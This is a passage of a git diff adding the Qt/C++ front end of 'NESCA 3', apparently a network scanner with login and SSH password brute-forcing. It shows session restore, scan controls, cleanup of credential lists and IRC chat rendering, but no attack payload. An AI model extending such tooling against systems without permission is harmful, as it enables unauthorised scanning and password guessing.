ui->trcSrvPortLine->setText(QString(lex)); + }; + } + else if(strstr(resStr, "[PROXY]:") != NULL) + { + lex = strstr(resStr, "[PROXY]:") + strlen("[PROXY]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + }; + } + else if(strstr(resStr, "[PROXYPORT]:") != NULL) + { + lex = strstr(resStr, "[PROXYPORT]:") + strlen("[PROXYPORT]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + }; + } + else if(strstr(resStr, "[PERSKEY]:") != NULL) + { + lex = strstr(resStr, "[PERSKEY]:") + strlen("[PERSKEY]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->linePersKey->setText(QString(lex)); + }; + } + else if(strstr(resStr, "[IRCSERVER]:") != NULL) + { + lex = strstr(resStr, "[IRCSERVER]:") + strlen("[IRCSERVER]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->ircServerBox->setText(QString(lex)); + }; + } + else if(strstr(resStr, "[IRCPORT]:") != NULL) + { + lex = strstr(resStr, "[IRCPORT]:") + strlen("[IRCPORT]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->serverPortBox->setText(QString(lex)); + }; + } + else if(strstr(resStr, "[IRCPROXY]:") != NULL) + { + lex = strstr(resStr, "[IRCPROXY]:") + strlen("[IRCPROXY]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->ircProxy->setText(QString(lex)); + }; + } + else if(strstr(resStr, "[IRCPROXYPORT]:") != NULL) + { + lex = strstr(resStr, "[IRCPROXYPORT]:") + strlen("[IRCPROXYPORT]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->ircProxyPort->setText(QString(lex)); + }; + } + else if(strstr(resStr, "[IRCNICK]:") != NULL) + { + lex = strstr(resStr, "[IRCNICK]:") + strlen("[IRCNICK]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->ircNickBox->setText(QString(lex)); + } + else + { + ui->ircNickBox->setText("ns_" + QString::number(qrand() % 8999 + 1000 )); + }; + }; + }; + fclose(resFile); + +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("Previous session restored."); +#pragma endregion + }; +} +void CreateVerFile() +{ + FILE *vf = fopen("version", "w"); + + if(vf != NULL) + { + fputs(gVER, vf); + fclose(vf); + }; +}; +char *GetVer() +{ + int dver = 0; + int tver = 0; + char t[32] = __DATE__; + + dver = __DATE__[9] - 48; + dver *= 10; + dver += __DATE__[10] - 48; + dver *= 100; + + if(__DATE__[0] == 'J' && __DATE__[1] == 'a') dver += 1; + else if(__DATE__[0] == 'F') dver += 2; + else if(__DATE__[0] == 'M' && __DATE__[1] == 'a' && __DATE__[2] == 'r') dver += 3; + else if(__DATE__[0] == 'A' && __DATE__[1] == 'p') dver += 4; + else if(__DATE__[0] == 'M' && __DATE__[1] == 'a' && __DATE__[2] == 'y') dver += 5; + else if(__DATE__[0] == 'J' && __DATE__[1] == 'u' && __DATE__[2] == 'n') dver += 6; + else if(__DATE__[0] == 'J' && __DATE__[1] == 'u' && __DATE__[2] == 'l') dver += 7; + else if(__DATE__[0] == 'A' && __DATE__[1] == 'u') dver += 8; + else if(__DATE__[0] == 'S') dver += 9; + else if(__DATE__[0] == 'O') dver += 10; + else if(__DATE__[0] == 'N') dver += 11; + else if(__DATE__[0] == 'D') dver += 12; + + if(__DATE__[4] != ' ') + { + dver *= 10; + dver += __DATE__[4] - 48; + } + else dver *= 10; + dver *= 10; + dver += __DATE__[5] - 48; + + tver = __TIME__[0] - 48; + tver *= 10; + tver += __TIME__[1] - 48; + tver *= 10; + tver += __TIME__[3] - 48; + tver *= 10; + tver += __TIME__[4] - 48; + + char db[32] = {0}; + char tb[32] = {0}; + sprintf(db, "%X", dver); + strcat(db, "-"); + sprintf(tb, "%X", tver); + strcat(db, tb); + + return db; +}; + +void nesca_3::slotShowRedVersion() +{ + ui->rVerLabel->show(); +}; +void _startVerCheck() +{ + vct->start(); +}; +void _startMsgCheck() +{ + mct->start(); +}; + + nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent) +{ + setWindowFlags ( Qt::FramelessWindowHint ); + this->hide(); + + gthis = this; + ui->setupUi(this); + ui->widgetIRC->installEventFilter(this); + ui->shoutBox->installEventFilter(this); + setSomeStyleArea(); + ui->dataText->setOpenExternalLinks(true); + ui->dataText->setOpenLinks(false); + ui->rVerLabel->hide(); + setSceneArea(); + + tray = new QSystemTrayIcon(QIcon(":/nesca_3/Z:/nesca.ico"), this); + tray->hide(); + + SetValidators(); + ConnectEvrthng(); + + QTime time = QTime::currentTime(); + qsrand((uint)time.msec()); + + QLinearGradient gradient(0, 0, 0, 20); + gradient.setColorAt(0, QColor(0,255,0)); + gradient.setColorAt(0.5, QColor(100,100,100, 100)); + gradient.setColorAt(1, QColor(255,255,255, 60)); + pen2i.setBrush(gradient); + + ui->ircNickBox->setText("nsa_" + QString::number(qrand() % 8999 + 1000)); + + char rVer[32] = {0}; + strcpy(rVer, GetVer()); + QString QVER = QString(rVer); + QByteArray ba = QVER.toLatin1(); + strcpy(gVER, ba.data()); + ui->logoLabel->setToolTip("v3-" + QVER); + ui->logoLabel->setStyleSheet("color:white; border: none;background-color:black;"); + ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); + + CreateVerFile(); + + RestoreSession(); + saveOptions(); + + PhraseLog.push_back(""); + CreateMsgPopupWidget(); + + dtHN->start(); + dtME2->start(); + adtHN->start(); + + pbPointerFont.setFamily("Eurostile"); + pbPointerFont.setPixelSize(8); + +#if defined(WIN32) + WSADATA wsda; + if (WSAStartup(0x0101, &wsda)) + { + #pragma region QTGUI_Area + stt->doEmitionRedFoundData("WSAStartup failed."); + stt->doEmitionKillSttThread(); + #pragma endregion + }; +#endif + + _startVerCheck(); + _startMsgCheck(); +} +void nesca_3::playFcknSound() +{ + QSound::play("00000036.wav"); +}; +void nesca_3::mousePressEvent(QMouseEvent *event) +{ + if (event->button() == Qt::LeftButton) { + dragPosition = event->globalPos() - frameGeometry().topLeft(); + event->accept(); + }; +} +void nesca_3::mouseReleaseEvent(QMouseEvent * event) +{ + if (event->modifiers() == Qt::ControlModifier) { + privateMsgFlag = false; + event->accept(); + }; +}; +void nesca_3::mouseMoveEvent(QMouseEvent * event) +{ + QPoint CPos = (event->globalPos() - dragPosition); + QWidget::move(CPos); + if(qwm != NULL) qwm->move(CPos.x() + WIDGET_WIDTH + 5, CPos.y()); +}; +void nesca_3::exitButtonClicked() +{ + globalScanFlag = false; + stt->terminate(); +#if defined(WIN32) + WSACleanup(); +#endif + qApp->quit(); +}; +void nesca_3::trayButtonClicked() +{ + if(tray->isVisible()) + { + show(); + tray->hide(); + } + else + { + hide(); + tray->show(); + }; +}; +void nesca_3::ChangeTrackerOK(bool val) +{ + trackerOK = val; +}; + +void nesca_3::ChangeDebugFileState(bool val) +{ + debugFileOK = val; +}; +void nesca_3::saveOptions() +{ + int ci = ui->tabMainWidget->currentIndex(); + + + + if(ci == 0) + { + ZeroMemory(saveStartIP, sizeof(saveStartIP)); + ZeroMemory(endIP2, sizeof(endIP2)); + ZeroMemory(top_level_domain, sizeof(top_level_domain)); + ZeroMemory(gPorts, sizeof(gPorts)); + gMode = 0; + gThreads = ui->threadLine->text().toInt(); + int indexof = ui->ipLine->text().indexOf("-"); + if(indexof > 0) + { + strncpy(saveStartIP, ui->ipLine->text().toLocal8Bit().data(), indexof); + if(ui->ipLine->text().indexOf("/") < 0) strcpy(endIP2, ui->ipLine->text().toLocal8Bit().data()); + } + else + { + if(ui->ipLine->text().indexOf("/") < 0) + { + strcpy(saveStartIP, ui->ipLine->text().toLocal8Bit().data()); + strcpy(endIP2, ui->ipLine->text().toLocal8Bit().data()); + strcat(endIP2, "-"); + strcat(endIP2, ui->ipLine->text().toLocal8Bit().data()); + } + else + { + strncpy(saveStartIP, ui->ipLine->text().toLocal8Bit().data(), ui->ipLine->text().indexOf("/")); + }; + }; + + strncpy(gPorts, ("-p" + ui->portLine->text()).toLocal8Bit().data(), 65536); + } + else if(ci == 1) + { + ZeroMemory(saveStartIP, sizeof(saveStartIP)); + ZeroMemory(endIP2, sizeof(endIP2)); + ZeroMemory(top_level_domain, sizeof(top_level_domain)); + ZeroMemory(gPorts, sizeof(gPorts)); + gMode = 1; + gThreads = ui->lineEditThread->text().toInt(); + int indexof = ui->lineEditStartIPDNS->text().indexOf("/"); + if(indexof > 0) + { + strncpy(saveStartIP, ui->lineEditStartIPDNS->text().toLocal8Bit().data(), indexof); + strcpy(endIP2, ui->lineEditStartIPDNS->text().toLocal8Bit().data()); + } + else + { + strcpy(saveStartIP, ui->lineEditStartIPDNS->text().toLocal8Bit().data()); + strcpy(endIP2, ui->lineEditStartIPDNS->text().toLocal8Bit().data()); + strcat(endIP2, "/"); + strcat(endIP2, ui->lineEditStartIPDNS->text().toLocal8Bit().data()); + }; + + strcpy(top_level_domain, ui->lineILVL->text().toLocal8Bit().data()); + + strncpy(gPorts, ("-p" + ui->lineEditPort->text()).toLocal8Bit().data(), 65536); + }; + + strcpy(trcSrv, ui->lineTrackerSrv->text().toLocal8Bit().data()); + strcpy(trcScr, ui->lineTrackerScr->text().toLocal8Bit().data()); + strncpy(trcPersKey, ui->linePersKey->text().toLocal8Bit().data(), 32); + strcpy(trcSrvPortLine, ui->trcSrvPortLine->text().toLocal8Bit().data()); + + strcpy(ircServer, ui->ircServerBox->text().toLocal8Bit().data()); + strcpy(ircPort, ui->serverPortBox->text().toLocal8Bit().data()); + strcpy(ircProxy, ui->ircProxy->text().toLocal8Bit().data()); + strcpy(ircProxyPort, ui->ircProxyPort->text().toLocal8Bit().data()); + strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data()); +}; +void nesca_3::STTTerminate() +{ + importFileName = ""; + startFlag = false; + globalScanFlag = false; + + stt->terminate(); + + if(loginLst != NULL) + { + for(int i = 0; i < MaxLogin; i++) delete []loginLst[i]; + delete []loginLst; + loginLst = NULL; + }; + if(passLst != NULL) + { + for(int i = 0; i < MaxPass; i++) delete []passLst[i]; + delete []passLst; + passLst = NULL; + }; + if(GlobalNegatives != NULL) + { + for(int i = 0; i < GlobalNegativeSize; i++) delete []GlobalNegatives[i]; + delete []GlobalNegatives; + GlobalNegatives = NULL; + }; + if(wfPassLst != NULL) + { + for(int i = 0; i < MaxWFPass; ++i) delete []wfPassLst[i]; + delete []wfPassLst; + wfPassLst = NULL; + }; + if(wfLoginLst != NULL) + { + for(int i = 0; i < MaxWFLogin; ++i) delete []wfLoginLst[i]; + delete []wfLoginLst; + wfLoginLst = NULL; + }; + if(sshlpLst != NULL) + { + for(int i = 0; i < MaxSSHPass; ++i) delete []sshlpLst[i]; + delete []sshlpLst; + sshlpLst = NULL; + }; + + ui->tabMainWidget->setTabEnabled(0, true); + ui->tabMainWidget->setTabEnabled(1, true); + ui->tabMainWidget->setTabEnabled(2, true); + ui->tabMainWidget->setTabEnabled(3, true); + stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); + stt->doEmitionIPS("0"); + stt->doEmitionChangeBA("0"); + BrutingThrds = 0; + cons = 0; + ui->labelActivity_Value->setText("0"); + setButtonStyleArea(); + ui->lineEditStartIPDNS->setText(""); + ui->startScanButton_3->setText("Start"); + ui->startScanButton_4->setText("Start"); + ui->importButton->setText("Import&&Scan"); + ui->labelStatus_Value->setText("Idle"); +}; +bool dfLocked = false; +void writeDebugFile(QString str) +{ + while(dfLocked) Sleep(10); + QDate qd; + char b[8] = {0}; + char fn[64] = {0}; + strcpy(fn, "./output_"); + strcat(fn, itoa(qd.currentDate().day(), b, 10)); + strcat(fn, "_"); + strcat(fn, itoa(qd.currentDate().month(), b, 10)); + strcat(fn, "_"); + strcat(fn, itoa(qd.currentDate().year(), b, 10)); + strcat(fn, ".txt"); + + FILE *df = fopen(fn, "a"); + if(df != NULL) + { + dfLocked = true; + fputs(str.toLocal8Bit().data(), df); + fclose(df); + dfLocked = false; + } + else + { + stt->doEmitionRedFoundData("[DEBUG: Cannot open " + QString(fn) + "]"); + }; +}; +void nesca_3::startScanButtonClicked() +{ + if(startFlag == false) + { + if(trackerOK) + { + if(ui->linePersKey->text().size() != 0) + { + CheckPersKey(0); + } + else + { + stt->doEmitionRedFoundData("Empty \"Personal key\" field. "); + }; + } + else + { + stt->doEmitionStartScanIP(); + }; + } + else + { + if(stopFirst == false) + { + stopFirst = true; + globalScanFlag = false; + ui->startScanButton_3->setStyleSheet( + " QPushButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: red;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->startScanButton_3->setText("STOP!"); + stt->doEmitionYellowFoundData("Trying to stop. Please, wait..."); + } + else + { + globalScanFlag = false; + ui->startScanButton_3->setStyleSheet( + " QPushButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: yellow;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->startScanButton_3->setText("Wait..."); + stt->doEmitionYellowFoundData("Wait, killing threads..."); + STTTerminate(); + }; + }; +}; +void nesca_3::startScanButtonClickedDNS() +{ + if(startFlag == false) + { + if(trackerOK) + { + if(ui->linePersKey->text().size() != 0) + { + CheckPersKey(1); + } + else + { + stt->doEmitionRedFoundData("Empty \"Personal key\" field. "); + }; + } + else + { + stt->doEmitionStartScanDNS(); + }; + } + else + { + if(stopFirst == false) + { + stopFirst = true; + globalScanFlag = false; + ui->startScanButton_4->setStyleSheet( + " #startScanButton_4 {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: red;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->startScanButton_4->setText("STOP!"); + stt->doEmitionYellowFoundData("Trying to stop. Please, wait..."); + } + else + { + globalScanFlag = false; + ui->startScanButton_4->setStyleSheet( + " #startScanButton_4 {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: yellow;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->startScanButton_4->setText("Wait..."); + stt->doEmitionYellowFoundData("Killing threads..."); + STTTerminate(); + }; + }; +}; +void nesca_3::logoLabelClicked() +{ + QDesktopServices::openUrl(QUrl("http://nesca.d3w.org/")); +}; +void nesca_3::ChangeLabelTO_ValueChanged(QString str) +{ + gTimeOut = str.toInt(); +}; +void nesca_3::ChangeLabelThreads_ValueChanged(QString str) +{ + gThreads = str.toInt(); +}; +void nesca_3::appendRedBAData(QString str) +{ + ui->BAText->append("" + QString::fromUtf8(str.toLocal8Bit().data()) + ""); +}; +void nesca_3::appendGreenBAData(QString str) +{ + ui->BAText->append("" + str + ""); +}; +void nesca_3::appendDefaultText(QString str) +{ + ui->dataText->append("

[" + QTime::currentTime().toString() + "] " + str + "

"); + if(debugFileOK) writeDebugFile(str + "\n"); +}; +void nesca_3::appendErrText(QString str) +{ + ui->dataText->append("[" + QTime::currentTime().toString() + "][FAIL] " + QString::fromUtf8(str.toLocal8Bit().data()) + ""); + + if(stt->isRunning() == false) + { + startFlag = false; + stt->doEmitionChangeStatus("Idle"); + stt->doEmitionIPS("0"); + ui->startScanButton_3->setText("Start"); + stt->terminate(); + }; + if(debugFileOK) writeDebugFile(str + "\n"); +}; +void nesca_3::appendOKText(QString str) +{ + ui->dataText->append("[" + QTime::currentTime().toString() + "][OK] " + str + ""); + if(debugFileOK) writeDebugFile(str + "\n"); +}; +void nesca_3::appendNotifyText(QString str) +{ + ui->dataText->append("[" + QTime::currentTime().toString() + "][*] " + str + ""); + if(debugFileOK) writeDebugFile(str + "\n"); +}; +void nesca_3::appendDebugText(QString str) +{ + ui->dataText->append("[DEBUG] " + str + ""); + if(debugFileOK) writeDebugFile(str + "\n"); +}; + +QRegExp r("[ht|f]{0,2}tp[s]{0,1}://(\\w|\\.|,|/|:|-|_|\\?|!|\\@|#|\\$|%|\\^|&|\\*|=|\\+|<|>|;|:|\"|'|~|\\[|\\])*[\\s|\\t]{0,1}"); +QRegExp under("((.+|(.+$)))"); +QRegExp boldr("((.+|(.+$)))"); +QRegExp colr("(\\d+[,\\d+]{0,2})"); + +QString GetColorCode(int mode, QString str) +{ + QRegExp c("(\\d{0,2})"); + QRegExp bg(",(\\d{0,2})"); + QString col; + + if(mode == 0) + { + c.indexIn(str); + col = c.cap(1); + } + else + { + bg.indexIn(str); + col = bg.cap(1); + }; + + QString result; + + int icol = col.toInt(); + if(icol == 0) result = "#AFAFAF"; + else if(icol == 1) result = "black"; + else if(icol == 2) result = "darkblue"; + else if(icol == 3) result = "green"; + else if(icol == 4) result = "red"; + else if(icol == 5) result = "darkred"; + else if(icol == 6) result = "blueviolet"; + else if(icol == 7) result = "darkorange"; + else if(icol == 8) result = "yellow"; + else if(icol == 9) result = "lightgreen"; + else if(icol == 10) result = "darkcyan"; + else if(icol == 11) result = "teal"; + else if(icol == 12) result = "blue"; + else if(icol == 13) result = "pink"; + else if(icol == 14) result = "#4d4d4d"; + else if(icol == 15) result = "gray"; + else result = "#AFAFAF"; + + return result; +}; +void nesca_3::appendDefaultIRCTextOut(QString str) +{ + bool thisIsUrl = false; + r.indexIn(str); + + QString link = r.cap(0); + + if(link.size() != 0) + { + str.replace("<", "<"); + link.replace("<", "<"); + str.replace(r, "" + link.trimmed() + " "); + thisIsUrl = true; + }; + + QString rData; + if(code160 || thisIsUrl) rData = "[" + QTime::currentTime().toString() + "] " + str.trimmed() + ""; + else rData = "[" + QTime::currentTime().toString() + "] " + str.trimmed().toHtmlEscaped() + ""; + + globalIRCText += rData + "\n"; + if(utfIRCFlag) + { + QByteArray wtf = codec->fromUnicode(rData); + ui->ircText->append(QString(wtf)); + } + else ui->ircText->append(rData); + + thisIsUrl = false; +}; +void nesca_3::appendDefaultIRCText(bool pm, bool hlflag, int cCode, QString str, QString senderNick) +{ + bool thisIsUrl = false; + +#pragma region Color-handler + int pos = 0; + QString colRes; + while ((pos = colr.indexIn(str, pos)) != -1) + { + colRes = colr.cap(1); + if(colRes.indexOf(",") > 0) str.replace(colRes, ""); + else str.replace(colRes, ""); + pos += colr.matchedLength(); + thisIsUrl = true; + }; +#pragma endregion + +#pragma region Bold-handler + int posBold = 0; + QString boldRes; + boldr.setMinimal(true); + while ((posBold = boldr.indexIn(str, posBold)) != -1) + { + boldRes = boldr.cap(0); + QString boldResTrimmed = boldRes; + boldResTrimmed.replace("", ""); + str.replace(boldRes, "" + boldResTrimmed + ""); + posBold += boldr.matchedLength(); + thisIsUrl = true; + }; +#pragma endregion + +#pragma region underline-handler + int posUnder = 0; + QString underRes; + under.setMinimal(true); + while ((posUnder = under.indexIn(str, posUnder)) != -1) + { + underRes = under.cap(0); + QString underResTrimmed = underRes; + underResTrimmed.replace("", ""); + str.replace(underRes, "" + underResTrimmed + ""); + posUnder += under.matchedLength(); + thisIsUrl = true; + }; +#pragma endregion + +#pragma region link-handler + r.indexIn(str); + QString link = r.cap(0); + if(link.size() != 0) + { + str.replace("<", "<"); + link.replace("<", "<"); + str.replace(r, "" + link.trimmed() + " "); + thisIsUrl = true; + }; +#pragma endregion + + str.replace("", ""); + str.replace("", ""); + + char rawData[512] = {0}; + strncpy(rawData, str.toLocal8Bit().data(), 512); + + if(strstr(rawData, "") != NULL || strstr(rawData, "") != NULL || + strstr(rawData, "") != NULL || strstr(rawData, "") != NULL + ) thisIsUrl = true; + + QString rData; + if(strstr(rawData, "ACTION") != NULL) + { + senderNick.replace("[", ""); + senderNick.replace("]:", ""); + str.replace("ACTION", ""); + str.replace("", ""); + rData = "[" + QTime::currentTime().toString() + "] -->" + senderNick + " " + str.trimmed().toHtmlEscaped() + ""; + globalIRCText += rData + "\n"; + if(utfIRCFlag) + { + QByteArray wtf = codec->fromUnicode(rData); + ui->ircText->append(QString(wtf)); + } + else ui->ircText->append(rData); + } + else + { + if(hlflag) + { + if(code160 || thisIsUrl) rData = "[" + QTime::currentTime().toString() + "] " + (pm?" [PM] ":"") + senderNick + " " + str + ""; + else rData = "[" + QTime::currentTime().toString() + "] " + (pm?" [PM] ":"") + senderNick + " " + str.trimmed().toHtmlEscaped() + ""; + } + else + { + if(code160 || thisIsUrl) rData = "[" + QTime::currentTime().toString() + "] " + (pm?" [PM] ":"") + senderNick + " " + str + ""; + else rData = "[" + QTime::currentTime().toString() + "] " + (pm?" [PM] ":"") + senderNick + " " + str.trimmed().toHtmlEscaped() + ""; + }; + + globalIRCText += rData + "\n"; + if(utfIRCFlag) + { + QByteArray wtf = codec->fromUnicode(rData); + ui->ircText->append(QString(wtf)); + } + else ui->ircText->append(rData); + }; +}; +void nesca_3::appendRedIRCText(QString str) +{ + QString rData; + rData = "[" + QTime::currentTime().toString() + "] " + str + ""; + globalIRCText += rData + "\n"; + ui->ircText->append(rData); +}; +void nesca_3::appendGreenIRCText(QString str) +{ + QString rData; + rData = "[" + QTime::currentTime().toString() + "] " + str + ""; + globalIRCText += rData + "\n"; + ui->ircText->append(rData); +}; +void nesca_3::appendYellowIRCText(QString str) +{ + QString rData; + rData = "[" + QTime::currentTime().toString() + "] " + "[*] " + str.trimmed() + ""; + globalIRCText += rData + "\n"; + ui->ircText->append(rData); +}; +void nesca_3::appendDefaultIRCRawTextInc(QString str) +{ + QString rData; + if(code160) rData = "[" + QTime::currentTime().toString() + "] " + str; + else rData = "[" + QTime::currentTime().toString() + "] " + str.toHtmlEscaped(); + globalIRCRaw += rData + "\n"; + if(utfIRCFlag) + { + QByteArray wtf = codec->fromUnicode(rData); + ui->ircRaw->append(QString(wtf)); + } + else ui->ircRaw->append(rData); +}; +void nesca_3::appendDefaultIRCRawTextOut(QString str) +{ + QString rData; + if(code160) rData = "[" + QTime::currentTime().toString() + "] " + str.trimmed() + ""; + else rData = "[" + QTime::currentTime().toString() + "] " + str.trimmed().toHtmlEscaped() + ""; + globalIRCRaw += rData + "\n"; + if(utfIRCFlag) + { + QByteArray wtf = codec->fromUnicode(rData); + ui->ircRaw->append(QString(wtf)); + } + else ui->ircRaw->append(rData); +}; +void nesca_3::slotClearNickList() +{ + ui->nickList->clear(); +}; +void nesca_3::slotAppendIRCNick(QString str) +{ + if(str.size() > 0 && str != " ") + { + ui->nickList->addItem(str.remove("@")); + ui->nickList->setGeometry(ui->nickList->x(), ui->nickList->y(), ui->nickList->width(), ui->nickList->count() * 17 + 5); + }; +}; +void nesca_3::slotItemClicked(QListWidgetItem* wi) +{ + if(privateMsgFlag == false) + { + QString pText = ui->shoutBox->text(); + ui->shoutBox->setText(pText + wi->text() + ", "); + ui->shoutBox->setFocus(); + } + else + { + ui->shoutBox->setText("/w " + wi->text().remove("@") + " "); + ui->shoutBox->setFocus(); + }; +}; +nesca_3::~nesca_3() +{ + delete[] ui; +} diff --git a/nesca_3.h b/nesca_3.h new file mode 100755 index 0000000..e215253 --- /dev/null +++ b/nesca_3.h @@ -0,0 +1,199 @@ +#ifndef nesca_3_H +#define nesca_3_H + +#pragma once +#include +#include +#include +#include +#include +#include +#include "ui_nesca_3.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +extern Ui::nesca_3Class *ui; +extern bool widgetIsHidden; +extern bool IRCLogToggled; +extern bool BALogSwitched; +extern void ShowMsgPopup(QString str); +extern bool blinkFlag; +extern bool disableBlink; +extern bool debugFileOK; +extern QSystemTrayIcon *tray; +extern bool QOSWait; +class nesca_3 : public QMainWindow +{ + Q_OBJECT + +public: + nesca_3(QWidget *parent = 0); + ~nesca_3(); + + void ConnectEvrthng(); + void ChangeLabelIpRange_Value(QString str); + void ChangeLabelIPS_Value(QString str); + void newListItem(QString str); + static int perc; +private: + +protected: + bool eventFilter(QObject* obj, QEvent *event); + void run(); + + QString GetSSLContent(QString str); + void SSLConnect(QString str); + protected slots: + void slotPBUpdate(); + void DNSLine_ValueChanged(QString str); + void slotChangeCPModeToUTF(); + void slotChangeCPModeTo1251(); + void slotShowRedVersion(); + void ChangeDebugFileState(bool val); + void ChangeTopic(); + void slotIRCGetTopic(QString str); + void slotIRCOfflined(); + void slotUnhidePopup(QString str, QString senderNick); + void slotItemClicked(QListWidgetItem* wi); + void slotClearNickList(); + void slotAppendIRCNick(QString str); + void slotShowNicks(); + void slotBlinkMessage(); + void IPScanSeq(); + void DNSScanSeq(); + void ImportScanSeq(); + void smReaction(); + void slotShowDataflow(); + void slotOutData(QString ip, QString str); + void slotIncData(QString ip, QString str); + void slotShowServerMsg(QString str); + void slotSaveImage(QAction *qwe); + void slotUpdatePie(); + void slotClearLogs(); + void slotRestartIRC(); + void slotDrawVoiceGrid(); + void slotDrawTextPlacers(); + void onLinkClicked(QUrl link); + void CheckPersKey(); + void CheckPersKey(int val); + void slotRestoreDefPorts(); + void ChangeNick(); + void setNickBox(QString str); + void SaySmthng(); + void ChangeIRCRawLog(); + void ConnectToIRCServer(); + void CheckProxy(); + void ChangeDispalyMode(); + void switchDataFields(); + void importAndScan(); + void slotQoSAddGrid(); + void slotVoiceAddLine(); + void slotDrawDelimLines(); + void slotDrawActivityLine(); + void activateME2ScanScene(); + void activateQoSScanBut(); + void activateVoiceScanBut(); + void activatePieStatBut(); + void slotAddPolyLine(); + void slotQoSAddLine(); + void slotAddLine(int x1, int y1, int x2, int y2); + void slotDrawGrid(); + void slotDrawActivityGrid(); + void exitButtonClicked(); + void trayButtonClicked(); + void mouseMoveEvent(QMouseEvent * event); + void mousePressEvent(QMouseEvent *event); + void mouseReleaseEvent(QMouseEvent *event); + void logoLabelClicked(); + void startScanButtonClicked(); + void startScanButtonClickedDNS(); + void saveOptions(); + void SetActivityValue(QString val); + void ChangeTrackerOK(bool val); + void ChangeLabelThreads_ValueChanged(QString); + void ChangeLabelTO_ValueChanged(QString); + void appendErrText(QString str); + void appendOKText(QString str); + void appendDebugText(QString str); + void appendNotifyText(QString str); + void appendDefaultText(QString str); + void appendRedIRCText(QString str); + void appendGreenIRCText(QString str); + void appendYellowIRCText(QString str); + void appendDefaultIRCText(bool, bool, int, QString str, QString s); + void appendDefaultIRCTextOut(QString str); + void appendDefaultIRCRawTextInc(QString str); + void appendDefaultIRCRawTextOut(QString str); + void appendGreenBAData(QString str); + void appendRedBAData(QString str); + void STTTerminate(); + void playFcknSound(); +private: + QPoint dragPosition; +}; + +class PieStatView : public QGraphicsView +{ + Q_OBJECT +public: + PieStatView(QWidget *parent = 0) : QGraphicsView(parent) {}; +public: + void contextMenuEvent(QContextMenuEvent *event); +}; + +class PopupMsgWidget : public QWidget +{ + Q_OBJECT +public: + PopupMsgWidget(QWidget* parent = 0) : QWidget(parent) + { }; + +public: signals: void clicked(bool checked = false); +protected: + bool switchWindows; + void mousePressEvent(QMouseEvent *evt) + { + switchWindows = false; + if (evt->button() == Qt::LeftButton) + { + switchWindows = true; + oldPos = evt->globalPos(); + evt->accept(); + } + else if (evt->button() == Qt::RightButton) + { + disableBlink = true; + ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); + this->hide(); + }; + } + void mouseMoveEvent(QMouseEvent *evt) + { + switchWindows = false; + const QPoint delta = evt->globalPos() - oldPos; + move(x()+delta.x(), y()+delta.y()); + oldPos = evt->globalPos(); + } + void mouseReleaseEvent(QMouseEvent *evt) + { + if(switchWindows) + { + switchWindows = false; + emit ui->IRCModeBut->clicked(); + }; + } + + private: + QPoint oldPos; +}; + +#endif // nesca_3_H + diff --git a/nesca_3.rc b/nesca_3.rc new file mode 100755 index 0000000..d4341d3 Binary files /dev/null and b/nesca_3.rc differ diff --git a/nesca_3.ui b/nesca_3.ui new file mode 100755 index 0000000..846446a --- /dev/null +++ b/nesca_3.ui @@ -0,0 +1,3756 @@ + + + nesca_3Class + + + + 0 + 0 + 500 + 800 + + + + + 500 + 400 + + + + + 500 + 800 + + + + true + + + true + + + NESCA 3 + + + + :/nesca_3/Z:/nesca.ico:/nesca_3/Z:/nesca.ico + + + 1.000000000000000 + + + + + + background-color: rgba(49, 49, 49,0); + + + + + + + + + 0 + 0 + 500 + 800 + + + + + + + + + + + 16 + 16 + 16 + + + + + 0 + 0 + 0 + + + + + + + + + + + 16 + 16 + 16 + + + + + 0 + 0 + 0 + + + + + + + + + + + 16 + 16 + 16 + + + + + 0 + 0 + 0 + + + + + + + + + + + + + 16 + 16 + 16 + + + + + 0 + 0 + 0 + + + + + + + + + + + 16 + 16 + 16 + + + + + 0 + 0 + 0 + + + + + + + + + + + 16 + 16 + 16 + + + + + 0 + 0 + 0 + + + + + + + + + + + + + 16 + 16 + 16 + + + + + 0 + 0 + 0 + + + + + + + + + + + 16 + 16 + 16 + + + + + 0 + 0 